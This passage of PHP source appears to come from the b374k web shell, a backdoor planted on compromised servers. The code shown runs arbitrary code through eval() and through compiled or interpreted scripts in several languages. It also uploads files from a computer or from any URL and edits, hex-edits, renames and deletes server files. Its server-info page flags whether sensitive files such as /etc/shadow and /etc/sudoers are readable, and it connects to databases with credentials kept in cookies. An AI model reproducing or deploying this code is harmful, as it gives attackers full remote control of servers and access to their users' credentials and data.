else $s_dirmsg = "Unable to create directory ".$s_f;
$s_result .= notif($s_dirmsg);
} // php eval() function
if(isset($_GP['x']) && ($_GP['x']=='eval')){
$s_code = "";
$s_res = "";
$s_evaloption = "";
$s_lang = "php";
if(isset($_GP['evalcode'])){
$s_code = $_GP['evalcode'];
$s_evaloption = (isset($_GP['evaloption']))? $_GP['evaloption']:"";
$s_tmpdir = get_writabledir();
if(isset($_GP['lang'])){$s_lang = $_GP['lang'];}
if(strtolower($s_lang)=='php'){
ob_start();
eval($s_code);
$s_res = ob_get_contents();
ob_end_clean();
}
elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'||strtolower($s_lang)=='node'||strtolower($s_lang)=='nodejs'){
$s_rand = md5(time().rand(0,100));
$s_script = $s_tmpdir.$s_rand;
if(file_put_contents($s_script, $s_code)!==false){
$s_res = exe($s_lang." ".$s_evaloption." ".$s_script);
unlink($s_script);
}
}
elseif(strtolower($s_lang)=='gcc'){
$s_script = md5(time().rand(0,100));
chdir($s_tmpdir);
if(file_put_contents($s_script.".c", $s_code)!==false){
$s_scriptout = $s_win ? $s_script.".exe" : $s_script;
$s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption);
if(@is_file($s_scriptout)){
$s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout);
rename($s_scriptout, $s_scriptout."del");
unlink($s_scriptout."del");
}
unlink($s_script.".c");
}
chdir($s_cwd);
}
elseif(strtolower($s_lang)=='java'){
if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){
$s_classname = trim($s_r[1]);
$s_script = $s_classname;
}
else{
$s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8);
$s_script = $s_rand;
$s_code = "class ".$s_rand." { ".$s_code . " } ";
}
chdir($s_tmpdir);
if(file_put_contents($s_script.".java", $s_code)!==false){
$s_res = exe("javac ".$s_script.".java");
if(@is_file($s_script.".class")){
$s_res .= exe("java ".$s_evaloption." ".$s_script);
unlink($s_script.".class");
}
unlink($s_script.".java");
}
chdir($s_pwd);
}
}
$s_lang_available = "<option value='php'>php</option>";
$s_selected = "";
$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_javac");
foreach($s_access as $s){
if(isset($$s)){
$s_t = explode("_", $s);
$s_checked = ($s_lang == $s_t[1])? "selected" : "";
$s_lang_available .= "<option value='".$s_t[1]."' ".$s_checked.">".$s_t[1]."</option>";
}
}
$s_evaloptionclass = ($s_lang=="php")? "sembunyi":"";
$s_e_result = (!empty($s_res))? "<pre id='evalres' class='bt' style='margin:4px 0 0 0;padding:6px 0;' >".hss($s_res)."</pre>":"";
$s_result .= "<form action='".$s_self."' method='post'>
<textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'>".hss($s_code)."</textarea>
<table><tr><td style='padding:0;'><p><input type='submit' name='evalcodesubmit' class='inputzbut' value='Go !' style='width:120px;height:30px;' /></p>
</td><td><select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'>
".$s_lang_available."
</select>
</td>
<td><div title='If you want to give additional option to interpreter or compiler, give it here' id='additionaloption' class='".$s_evaloptionclass."'>Additional option <input class='inputz' style='width:400px;' type='text' name='evaloption' value='".hss($s_evaloption)."' id='evaloption' /></div></td>
</tr>
</table>
".$s_e_result."
<input type='hidden' name='x' value='eval' />
</form>";
} // find
elseif(isset($_GP['find'])){
$s_p = $_GP['find'];
$s_type = isset($_GP['type'])? $_GP['type'] : "sfile";
$s_sfname = (!empty($_GP['sfname']))? $_GP['sfname']:'';
$s_sdname = (!empty($_GP['sdname']))? $_GP['sdname']:'';
$s_sfcontain = (!empty($_GP['sfcontain']))? $_GP['sfcontain']:'';
$s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = "";
$s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false;
if(isset($_GP['sfnameregex'])){ $s_sfnameregex=true; $s_sfnameregexchecked="checked"; }
if(isset($_GP['sfnameicase'])){ $s_sfnameicase=true; $s_sfnameicasechecked="checked"; }
if(isset($_GP['sdnameregex'])){ $s_sdnameregex=true; $s_sdnameregexchecked="checked"; }
if(isset($_GP['sdnameicase'])){ $s_sdnameicase=true; $s_sdnameicasechecked="checked"; }
if(isset($_GP['sfcontainregex'])){ $s_sfcontainregex=true; $s_sfcontainregexchecked="checked"; }
if(isset($_GP['sfcontainicase'])){ $s_sfcontainicase=true; $s_sfcontainicasechecked="checked"; }
if(isset($_GP['swritable'])){ $s_swritable=true; $s_swritablechecked="checked"; }
if(isset($_GP['sreadable'])){ $s_sreadable=true; $s_sreadablechecked="checked"; }
if(isset($_GP['sexecutable'])){ $s_sexecutable=true; $s_sexecutablechecked="checked"; }
$s_sexecb = (function_exists("is_executable"))? "<input class='css-checkbox' type='checkbox' name='sexecutable' value='sexecutable' id='se' ".$s_sexecutablechecked." /><label class='css-label' for='se'>Executable</span>":"";
$s_candidate = array();
if(isset($_GP['sgo'])){
$s_af = "";
$s_candidate = getallfiles($s_p);
if($s_type=='sfile') $s_candidate = @array_filter($s_candidate, "is_file");
elseif($s_type=='sdir') $s_candidate = @array_filter($s_candidate, "is_dir");
foreach($s_candidate as $s_a){
if($s_type=='sdir'){
if(!empty($s_sdname)){
if($s_sdnameregex){
if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
}
else{
if($s_sdnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(strpos(basename($s_a), $s_sdname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
}
}
}
elseif($s_type=='sfile'){
if(!empty($s_sfname)){
if($s_sfnameregex){
if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
}
else{
if($s_sfnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(strpos(basename($s_a), $s_sfname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
}
}
if(!empty($s_sfcontain)){
$s_sffcontent = @fgc($s_a);
if($s_sfcontainregex){
if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(!preg_match("/".$s_sfcontain."/", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
}
else{
if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent), strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(strpos($s_sffcontent, $s_sfcontain)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
}
}
}
}
}
$s_f_result = ""; $s_link="";
foreach($s_candidate as $s_c){
$s_c = trim($s_c);
if($s_swritable && !@is_writable($s_c)) continue;
if($s_sreadable && !@is_readable($s_c)) continue;
if($s_sexecutable && !@is_executable($s_c)) continue;
if($s_type=="sfile") $s_link = $s_self."view=".pl($s_c);
elseif($s_type=="sdir") $s_link = $s_self."view=".pl(cp($s_c));
$s_f_result .= "<p class='notif' ondblclick=\"return go('".adds($s_link)."',event);\"><a href='".$s_link."'>".$s_c."</a></p>";
}
$s_tsdir = ($s_type=="sdir")? "selected":"";
$s_tsfile = ($s_type=="sfile")? "selected":"";
if(!@is_dir($s_p)) $s_result .= notif("Cannot find the path specified ".$s_p);
$s_result .= "<form action='".$s_self."' method='post'>
<div class='mybox'><h2>Find</h2>
<table class='myboxtbl'>
<tr><td style='width:140px;'>Search in</td>
<td colspan='2'><input style='width:100%;' value='".hss($s_p)."' class='inputz' type='text' name='find' /></td></tr>
<tr onclick=\"findtype('sdir');\">
<td>Dirname contains</td>
<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sdname' value='".hss($s_sdname)."' /></td>
<td>
<input type='checkbox' class='css-checkbox' name='sdnameregex' id='sdn' ".$s_sdnameregexchecked." /><label class='css-label' for='sdn'>Regex (pcre)</label>
<input type='checkbox' class='css-checkbox' name='sdnameicase' id='sdi' ".$s_sdnameicasechecked." /><label class='css-label' for='sdi'>Case Insensitive</label>
</td>
</tr>
<tr onclick=\"findtype('sfile');\">
<td>Filename contains</td>
<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfname' value='".hss($s_sfname)."' /></td>
<td>
<input type='checkbox' class='css-checkbox' name='sfnameregex' id='sfn' ".$s_sfnameregexchecked." /><label class='css-label' for='sfn'>Regex (pcre)</label>
<input type='checkbox' class='css-checkbox' name='sfnameicase' id='sfi' ".$s_sfnameicasechecked." /><label class='css-label' for='sfi'>Case Insensitive</label>
</td>
</tr>
<tr onclick=\"findtype('sfile');\">
<td>File contains</td>
<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfcontain' value='".hss($s_sfcontain)."' /></td>
<td>
<input type='checkbox' class='css-checkbox' name='sfcontainregex' id='sff' ".$s_sfcontainregexchecked." /><label class='css-label' for='sff'>Regex (pcre)</label>
<input type='checkbox' class='css-checkbox' name='sfcontainicase' id='sffi' ".$s_sfcontainicasechecked." /><label class='css-label' for='sffi'>Case Insensitive</label>
</td>
</tr>
<tr>
<td>Permissions</td>
<td colspan='2'>
<input type='checkbox' class='css-checkbox' name='swritable' id='sw' ".$s_swritablechecked." /><label class='css-label' for='sw'>Writable</label>
<input type='checkbox' class='css-checkbox' name='sreadable' id='sr' ".$s_sreadablechecked." /><label class='css-label' for='sr'>Readable</label>
".$s_sexecb."
</td>
</tr>
<tr><td>
<input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;margin:0;' />
</td>
<td>
<select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:0;padding:4px;'>
<option value='sfile' ".$s_tsfile.">Search file</option>
<option value='sdir' ".$s_tsdir.">Search dir</option>
</select>
</td>
<td></td></tr>
</table>
</div>
</form>
<div>
".$s_f_result."
</div>";
} // upload
elseif(isset($_GP['x']) && ($_GP['x']=='upload')){
$s_result = " ";
$s_msg = "";
if(isset($_GP['uploadhd'])){
$c = count($_FILES['filepath']['name']);
for($i = 0; $i<$c; $i++){
$s_fn = $_FILES['filepath']['name'][$i];
if(empty($s_fn)) continue;
if(is_uploaded_file($_FILES['filepath']['tmp_name'][$i])){
$s_p = cp($_GP['savefolder'][$i]);
if(!@is_dir($s_p)) mkdir($s_p);
if(isset($_GP['savefilename'][$i]) && (trim($_GP['savefilename'][$i])!="")) $s_fn = $_GP['savefilename'][$i];
$s_tm = $_FILES['filepath']['tmp_name'][$i];
$s_pi = cp($s_p).$s_fn;
$s_st = @move_uploaded_file($s_tm,$s_pi);
if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".pl($s_pi)."'>".$s_pi."</a>");
else $s_msg .= notif("Failed to upload ".$s_fn);
}
else $s_msg .= notif("Failed to upload ".$s_fn);
}
}
elseif(isset($_GP['uploadurl'])){
// function dlfile($s_url,$s_fpath)
$c = count($_GP['fileurl']);
for($i = 0; $i<$c; $i++){
$s_fu = $_GP['fileurl'][$i];
if(empty($s_fu)) continue;
$s_p = cp($_GP['savefolderurl'][$i]);
if(!@is_dir($s_p)) mkdir($s_p);
$s_fn = basename($s_fu);
if(isset($_GP['savefilenameurl'][$i]) && (trim($_GP['savefilenameurl'][$i])!="")) $s_fn = $_GP['savefilenameurl'][$i];
$s_fp = cp($s_p).$s_fn;
$s_st = dlfile($s_fu,$s_fp);
if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".pl($s_fp)."'>".$s_fp."</a>");
else $s_msg .= notif("Failed to upload ".$s_fn);
}
}
else{
if(!@is_writable($s_cwd)) $s_msg = notif("Directory ".$s_cwd." is not writable, please change to a writable one");
}
if(!empty($s_msg)) $s_result .= $s_msg;
$s_result .= "
<form action='".$s_self."' method='post' enctype='multipart/form-data'>
<div class='mybox'><h2><div class='but' onclick='adduploadc();'>+</div>Upload from computer</h2>
<table class='myboxtbl'>
<tbody id='adduploadc'>
<tr><td style='width:140px;'>File</td><td><input type='file' name='filepath[]' class='inputzbut' style='width:400px;margin:0;' /></td></tr>
<tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder[]' value='".hss($s_cwd)."' /></td></tr>
<tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename[]' value='' /></td></tr>
</tbody>
<tfoot>
<tr><td> </td><td>
<input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
<input type='hidden' name='x' value='upload' />
</td></tr>
</tfoot>
</table>
</div>
</form>
<form action='".$s_self."' method='post'>
<div class='mybox'><h2><div class='but' onclick='adduploadi();'>+</div>Upload from internet</h2>
<table class='myboxtbl'>
<tbody id='adduploadi'>
<tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl[]' value='' />
</td></tr>
<tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl[]' value='".hss($s_cwd)."' /></td></tr>
<tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl[]' value='' /></td></tr>
</tbody>
<tfoot>
<tr><td> </td><td>
<input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
<input type='hidden' name='x' value='upload' />
</td></tr>
</table>
</div>
</form>";
} // view file
elseif(isset($_GP['view'])){
$s_f = $_GP['view'];
if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew;
$s_owner = "";
if(@is_file($s_f)){
$targetdir = dirname($s_f);
chdir($targetdir);
$s_cwd = cp(getcwd());
setcookie("cwd", $s_cwd ,time() + $s_login_time);
if(!$s_win && $s_posix){
$s_name = posix_getpwuid(fileowner($s_f));
$s_group = posix_getgrgid(filegroup($s_f));
$s_owner = "<tr><td>Owner</td><td>".$s_name['name']."<span class='gaya'>:</span>".$s_group['name']."</td></tr>";
}
$s_filn = basename($s_f);
$s_result .= "<table class='viewfile' style='width:100%;'>
<tr><td style='width:140px;'>Filename</td><td><span id='".cs($s_filn)."_link'>".$s_f."</span>
<div id='".cs($s_filn)."_form' class='sembunyi'>
<form action='".$s_self."' method='post'>
<input type='hidden' name='oldname' value='".hss($s_f)."' style='margin:0;padding:0;' />
<input type='hidden' name='view' value='".hss($s_f)."' />
<input class='inputz' style='width:200px;' type='text' name='rename' value='".hss($s_f)."' />
<input class='inputzbut' type='submit' value='rename' />
</form>
<input class='inputzbut' type='button' value='x' onclick=\"tukar_('".cs($s_filn)."_form','".cs($s_filn)."_link');\" />
</div>
</td></tr>
<tr><td>Size</td><td>".gs($s_f)." (".@filesize($s_f).")</td></tr>
<tr><td>Permission</td><td>".gp($s_f)."</td></tr>
".$s_owner."
<tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($s_f))."</td></tr>
<tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($s_f))."</td></tr>
<tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($s_f))."</td></tr>
<tr><td>Actions</td><td>
<a href='".$s_self."edit=".pl($s_f)."' title='edit'>edit</a> | <a href='".$s_self."hexedit=".pl($s_f)."' title='edit as hex'>hex</a> | <a href=\"javascript:tukar_('".cs($s_filn)."_link','".cs($s_filn)."_form');\" title='rename'>ren</a> | <a href='".$s_self."del=".pl($s_f)."' title='delete'>del</a> | <a href='".$s_self."dl=".pl($s_f)."'>dl</a>
</td></tr>
<tr><td>View</td><td>
<a href='".$s_self."view=".pl($s_f)."&type=text"."'>text</a> | <a href='".$s_self."view=".pl($s_f)."&type=code"."'>code</a> | <a href='".$s_self."view=".pl($s_f)."&type=image"."'>image</a> | <a href='".$s_self."view=".pl($s_f)."&type=audio"."'>audio</a> | <a href='".$s_self."view=".pl($s_f)."&type=video"."'>video</a>
</td></tr>
</table>";
$s_t = ""; $s_mime = "";
$s_mime_list = gzinflate(base64_decode($s_mime_types));
$s_ext_pos = strrpos($s_f, ".");
if($s_ext_pos!==false){
$s_ext = trim(substr($s_f, $s_ext_pos),".");
if(preg_match("/([^\s]+)\ .*".$s_ext.".*/i",$s_mime_list,$s_r)){
$s_mime = $s_r[1];
}
}
$s_iinfo = @getimagesize($s_f);
if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code";
elseif(is_array($s_iinfo)) $s_t = 'image';
elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/"));
if(isset($_GP['type'])) $s_t = $_GP['type'];
if($s_t=="image"){
$s_width = (int) $s_iinfo[0];
$s_height = (int) $s_iinfo[1];
$s_imginfo = "Image type = ( ".$s_iinfo['mime']." )<br />
Image Size = <span class='gaul'>( </span>".$s_width." x ".$s_height."<span class='gaul'> )</span><br />";
if($s_width > 800){
$s_width = 800;
$s_imglink = "<p><a href='".$s_self."img=".pl($s_filn)."'>
<span class='gaul'>[ </span>view full size<span class='gaul'> ]</span></a></p>";
}
else $s_imglink = "";
$s_result .= "<div class='viewfilecontent' style='text-align:center;'>".$s_imglink."
<img width='".$s_width."' src='".$s_self."img=".pl($s_filn)."' alt='".$s_filn."' style='margin:8px auto;padding:0;border:0;' /></div>";
}
elseif($s_t=="code"){
$s_result .= "<div class=\"viewfilecontent\">";
$s_file = wordwrap(@fgc($s_f),160,"
",true);
$s_buff = highlight_string($s_file,true);
$s_old = array("0000BB", "000000", "FF8000", "DD0000", "007700");
$s_new = ($s_theme=="bright")? $s_highlight_bright:$s_highlight_dark;
$s_buff = str_replace($s_old,$s_new, $s_buff);
$s_result .= $s_buff;
$s_result .= "</div>";
}
elseif($s_t=="audio" || $s_t=="video"){
$s_result .= "<div class='viewfilecontent' style='text-align:center;'>
<".$s_t." controls>
<source src='".hss($s_self."dltype=raw&dlpath=".$s_f)."' type='".$s_mime."'>
<object data='".hss($s_self."dltype=raw&dlpath=".$s_f)."'>
<embed src='".hss($s_self."dltype=raw&dlpath=".$s_f)."'>
</object>
</".$s_t.">
</div>";
}
else {
$s_result .= "<pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'>";
$s_result .= str_replace("<", "<",str_replace(">", ">",(wordwrap(@fgc($s_f),160,"
",true))));
$s_result .= "</pre>";
}
}
elseif(@is_dir($s_f)){
chdir($s_f);
$s_cwd = cp(getcwd());
setcookie("cwd", $s_cwd ,time() + $s_login_time);
$s_result .= showdir($s_cwd);
}
else $s_result .= notif("Cannot find the path specified ".$s_f);
} // edit file
elseif(isset($_GP['edit'])){
$s_f = $_GP['edit'];
$s_fc = ""; $s_fcs = "";
if(isset($_GP['new']) && ($_GP['new']=='yes')){
$s_num = 1;
if(@is_file($s_f)){
$s_pos = strrpos($s_f,"_");
if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1);
while(@is_file(substr($s_f,0,$s_pos)."_".$s_num)){
$s_num++;
}
$s_f = substr($s_f,0,$s_pos)."_".$s_num;
}
}
else if(@is_file($s_f)) $s_fc = @fgc($s_f);
if(isset($_GP['fc'])){
$s_fc = $_GP['fc'];
$s_eol = $_GP['eol'];
$s_eolf = pack("H*", geol($s_fc));
$s_eolh = pack("H*", $s_eol);
$s_fc = str_replace($s_eolf, $s_eolh, $s_fc);
if($s_filez = fopen($s_f,"w")){
$s_time = @date("d-M-Y H:i:s",time());
if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time;
else $s_fcs = "Failed to save";
fclose($s_filez);
}
else $s_fcs = "Permission denied";
}
elseif(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";
$s_eol = geol($s_fc);
if(!empty($s_fcs)) $s_result .= notif($s_fcs);
$s_result .= "<form action='".$s_self."' method='post'>
<textarea id='fc' name='fc' class='txtarea'>".hss($s_fc)."</textarea>
<p style='text-align:center;'><input type='text' class='inputz' style='width:99%;' name='edit' value='".hss($s_f)."' /></p>
<p><input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /></p>
<input type='hidden' name='eol' value='".$s_eol."' />
</form>";
} // hex edit file
elseif(isset($_GP['hexedit'])){
$s_f = $_GP['hexedit'];
$s_fc = ""; $s_fcs = ""; $s_hexes = "";
$s_lnum = 0;
if(!empty($_GP['hx']) || !empty($_GP['hxt'])){
if(!empty($_GP['hx'])){
foreach($_GP['hx'] as $s_hex) $s_hexes .= str_replace(" ", "", $s_hex);
}
elseif(!empty($_GP['hxt'])){
$s_hexes = trim($_GP['hxt']);
}
if($s_filez = fopen($s_f,"w")){
$s_bins = pack("H*", $s_hexes);
$s_time = @date("d-M-Y H:i:s", time());
if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time;
else $s_fcs = "Failed to save";
fclose($s_filez);
}
else $s_fcs = "Permission denied";
}
else if(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";
if(!empty($s_fcs)) $s_result .= notif($s_fcs);
$s_result .= "<form action='".$s_self."' method='post'><p class='ce mp'><input type='text' class='inputz' style='width:100%;' name='hexedit' value='".hss($s_f)."' /></p><p class='bb' style='padding:0 0 14px 0;'><input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' onclick=\"return sh();\" /></p><table class='explore'>";
if(@is_file($s_f)){
$s_fp = fopen($s_f, "r");
if($s_fp) {
$s_ldump = "";
$s_counter = 0;
$s_icounter = 0;
while(!feof($s_fp)){
$s_line = fread($s_fp, 32);
$s_linehex = strtoupper(bin2hex($s_line));
$s_linex = str_split($s_linehex, 2);
$s_linehex = implode(" ", $s_linex);
$s_addr = sprintf("%08xh", $s_icounter);
$s_result .= "<tr><td class='ce w60'>".$s_addr."</td><td class='le w594'><input onselect='this.selectionEnd=this.selectionStart;' onclick=\"hu('".$s_counter."',event);\" onkeydown=\"return hf('".$s_counter."',event);\" onkeyup=\"hu('".$s_counter."',event);\" type='text' class='inputz w578' id='hex_".$s_counter."' name='hx[]' value='".$s_linehex."' maxlength='".strlen($s_linehex)."' /></td><td class='le ls2'><pre name='hexdump' id='dump_".$s_counter."' class='mp'></pre></td></tr>";
$s_counter++;
$s_icounter+=32;
}
$s_result .= "<input type='hidden' id='counter' value='".$s_counter."' />";
$s_result .= "<textarea name='hxt' id='hxt' class='sembunyi'></textarea>";
fclose($s_fp);
}
}
$s_result .= "</table></form>";
} // show server information
elseif(isset($_GP['x']) && ($_GP['x']=='info')){
$s_result = "";
// server misc info
$s_result .= "<p class='notif' onclick=\"toggle('info_server')\">Server Info</p>";
$s_result .= "<div class='info' id='info_server'><table>";
if($s_win){
foreach (range("A", "Z") as $s_letter){
if((@is_dir($s_letter.":\") && @is_readable($s_letter.":\"))){
$s_drive = $s_letter.":";
$s_result .= "<tr><td>drive ".$s_drive."</td><td>".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."</td></tr>";
}
}
}
else $s_result .= "<tr><td>root partition</td><td>".ts(@disk_free_space("/"))." free of ".ts(@disk_total_space("/"))."</td></tr>";
$s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
foreach($s_access as $s){
$s_t = explode("_", $s);
if(isset($$s)) $s_result .= "<tr><td>".$s_t[1]."</td><td>".$$s."</td></tr>";
}
if(!$s_win){
$s_interesting = array(
"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
"/etc/ssh/sshd_config",
"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
foreach($s_interesting as $s_f){
if(@is_file($s_f) && @is_readable($s_f)) $s_result .= "<tr><td>".$s_f."</td><td><a href='".$s_self."view=".pl($s_f)."'>".$s_f." is readable</a></td></tr>";
}
}
$s_result .= "</table></div>";
if(!$s_win){
// cpu info
if($s_i_buff=trim(@fgc("/proc/cpuinfo"))){
$s_result .= "<p class='notif' onclick=\"toggle('info_cpu')\">CPU Info</p>";
$s_result .= "<div class='info' id='info_cpu'>";
$s_i_buffs = explode("
", $s_i_buff);
foreach($s_i_buffs as $s_i_buffss){
$s_i_buffss = trim($s_i_buffss);
if($s_i_buffss!=""){
$s_i_buffsss = explode("
", $s_i_buffss);
$s_result .= "<table>";
foreach($s_i_buffsss as $s_i){
$s_i = trim($s_i);
if($s_i!=""){
$s_ii = explode(":",$s_i);
if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
}
}
$s_result .= "</table>";
}
}
$s_result .= "</div>";
}
// mem info
if($s_i_buff=trim(@fgc("/proc/meminfo"))){
$s_result .= "<p class='notif' onclick=\"toggle('info_mem')\">Memory Info</p>";
$s_i_buffs = explode("
", $s_i_buff);
$s_result .= "<div class='info' id='info_mem'><table>";
foreach($s_i_buffs as $s_i){
$s_i = trim($s_i);
if($s_i!=""){
$s_ii = explode(":",$s_i);
if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
}
else $s_result .= "</table><table>";
}
$s_result .= "</table></div>";
}
// partition
if($s_i_buff=trim(@fgc("/proc/partitions"))){
$s_i_buff = preg_replace("/\ +/", " ", $s_i_buff);
$s_result .= "<p class='notif' onclick=\"toggle('info_part')\">Partitions Info</p>";
$s_result .= "<div class='info' id='info_part'>";
$s_i_buffs = explode("
", $s_i_buff);
$s_result .= "<table><tr>";
$s_i_head = explode(" ", $s_i_buffs[0]);
foreach($s_i_head as $s_h) $s_result .= "<th>".$s_h."</th>";
$s_result .= "</tr>";
$s_i_buffss = explode("
", $s_i_buffs[1]);
foreach($s_i_buffss as $s_i_b){
$s_i_row = explode(" ", trim($s_i_b));
$s_result .= "<tr>";
foreach($s_i_row as $s_r) $s_result .= "<td style='text-align:center;'>".$s_r."</td>";
$s_result .= "</tr>";
}
$s_result .= "</table>";
$s_result .= "</div>";
}
}
$s_phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
foreach($s_phpinfo as $s_p=>$s_i){
$s_result .= "<p class='notif' onclick=\"toggle('".$s_i."')\">".$s_p."</p>";
ob_start();
eval("phpinfo(".$s_i.");");
$s_b = ob_get_contents();
ob_end_clean();
if(preg_match("/<body>(.*?)<\/body>/is", $s_b, $r)){
$s_body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]);
$s_result .= "<div class='info' id='".$s_i."'>".$s_body."</div>";
}
}
} // working with database
elseif(isset($_GP['x']) && ($_GP['x']=='db')){
// sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
$s_sql = array();
$s_sql_deleted = "";
$s_show_form = $s_show_dbs = true;
if(isset($_GP['dc'])){
$k = $_GP['dc'];
setcookie("c[".$k."]", "" ,time() - $s_login_time);
$s_sql_deleted = $k;
}
if(isset($_COOKIE['c']) && !isset($_GP['connect'])){
foreach($_COOKIE['c'] as $c=>$d){
if($c==$s_sql_deleted) continue;
$s_dbcon = (function_exists("json_encode") && function_exists("json_decode"))? json_decode($d):unserialize($d);
foreach($s_dbcon as $k=>$v) $s_sql[$k] = $v;
$s_sqlport = (!empty($s_sql['port']))? ":".$s_sql['port']:"";
$s_result .= notif("[".$s_sql['type']."] ".$s_sql['user']."@".$s_sql['host'].$s_sqlport."
<span style='float:right;'><a href='".$s_self."x=db&connect=connect&sqlhost=".pl($s_sql['host'])."&sqlport=".pl($s_sql['port'])."&sqluser=".pl($s_sql['user'])."&sqlpass=".pl($s_sql['pass'])."&sqltype=".pl($s_sql['type'])."'>connect</a> | <a href='".$s_self."x=db&dc=".pl($c)."'>disconnect</a></span>");
}
}
else{
$s_sql['host'] = isset($_GP['sqlhost'])? $_GP['sqlhost'] : "";
$s_sql['port'] = isset($_GP['sqlport'])? $_GP['sqlport'] : "";
$s_sql['user'] = isset($_GP['sqluser'])? $_GP['sqluser'] : "";
$s_sql['pass'] = isset($_GP['sqlpass'])? $_GP['sqlpass'] : "";
$s_sql['type'] = isset($_GP['sqltype'])? $_GP['sqltype'] : "";
}
if(isset($_GP['connect'])){
$s_con = sql_connect($s_sql['type'],$s_sql['host'],$s_sql['user'],$s_sql['pass']);
